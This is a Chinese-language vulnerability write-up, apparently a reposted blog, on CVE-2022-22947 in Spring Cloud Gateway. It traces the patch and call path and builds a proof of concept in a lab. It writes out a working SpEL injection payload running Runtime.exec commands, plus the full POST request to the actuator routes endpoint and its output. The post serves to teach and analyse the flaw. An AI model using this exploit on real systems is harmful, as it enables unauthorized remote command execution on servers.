CVE-2022-22947 分析

网友投稿 669 2022-05-29

CVE-2022-22947

[[spel inj|SPEL]] CASTING AND EVIL BEANS

Base

漏洞环境:VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv

Source 分析

查看 v3.0.6->v3.0.7 的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在 ShortcutConfigurable#getValue 方法中将 StandardEvaluationContext 修正成了 GatewayEvaluationContext

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) { Object value; String rawValue = entryValue; if (rawValue != null) { rawValue = rawValue.trim(); } if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) { // assume it's spel StandardEvaluationContext context = new StandardEvaluationContext(); context.setBeanResolver(new BeanFactoryResolver(beanFactory)); Expression expression = parser.parseExpression(entryValue, new TemplateParserContext()); value = expression.getValue(context); }

向上回溯调用路径

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT

org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType

CVE-2022-22947 分析

org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

跟踪 properties 值

org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes

至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入

POC 编写

在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由

spring: cloud: gateway: routes: - id: after_route uri: https://example.org predicates: - name: Cookie args: name: mycookie regexp: mycookievalue

debug 程序后,发现 mycookie 成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 的 entryValue 参数中

getValue:51, ShortcutConfigurable (org.springframework.cloud.gateway.support) normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support) normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support) bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support) lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route) apply:-1, 1605299030 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$842) //..... onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route) onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route) //..... main:33, Cve202222947Application (person.xu.vulEnv)

注入下 spel 表达式

“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”

访问 http://127.0.0.1:8083/actuator/gateway/routes/ 发现成功执行了命令

EXP 编写

那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create} 接口提供了创建路由的能力 其中 json 构造方式如文档中的

{ "id": "first_route", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/first"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }

将其转换一下得到

{ "id": "first_route", "predicates": [ { "name": "Cookie", "args": { "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('id')}", "_genkey_1": "mycookievalue" } } ], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }

通过 POST 发送 exp

POST /actuator/gateway/routes/first_route HTTP/1.1 Host: 127.0.0.1:8083 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 385 { "id": "first_route", "predicates": [{ "name": "Cookie", "args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}", "_genkey_1":"mycookievalue"} }], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }]

后通过 /actuator/gateway/refresh 刷新路由缓存 访问 /actuator/gateway/routes/ 得到命令执行的结果

[ { "predicate": "Paths: [/get], match trailing slash: true", "route_id": "path_route", "filters": [], "uri": "http://httpbin.org:80", "order": 0 }, //........ { "predicate": "Cookie: name=china\\xuuupro\r\n regexp=mycookievalue", "route_id": "first_route", "filters": [], "uri": "https://www.uri-destination.org", "order": 0 } ]

Reference

CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl

Footnote

[^1]: Spring Cloud Gateway

[^2]: 11. Actuator API

文末福利:华为云漏洞扫描服务VSS 基础版限时免费体验>>>

Spring Boot Spring Cloud 云安全 漏洞扫描服务 网络

版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:不是会员不让复制粘贴?看我“三板斧”!
下一篇:python 包之 mongodb 数据库操作教程
相关文章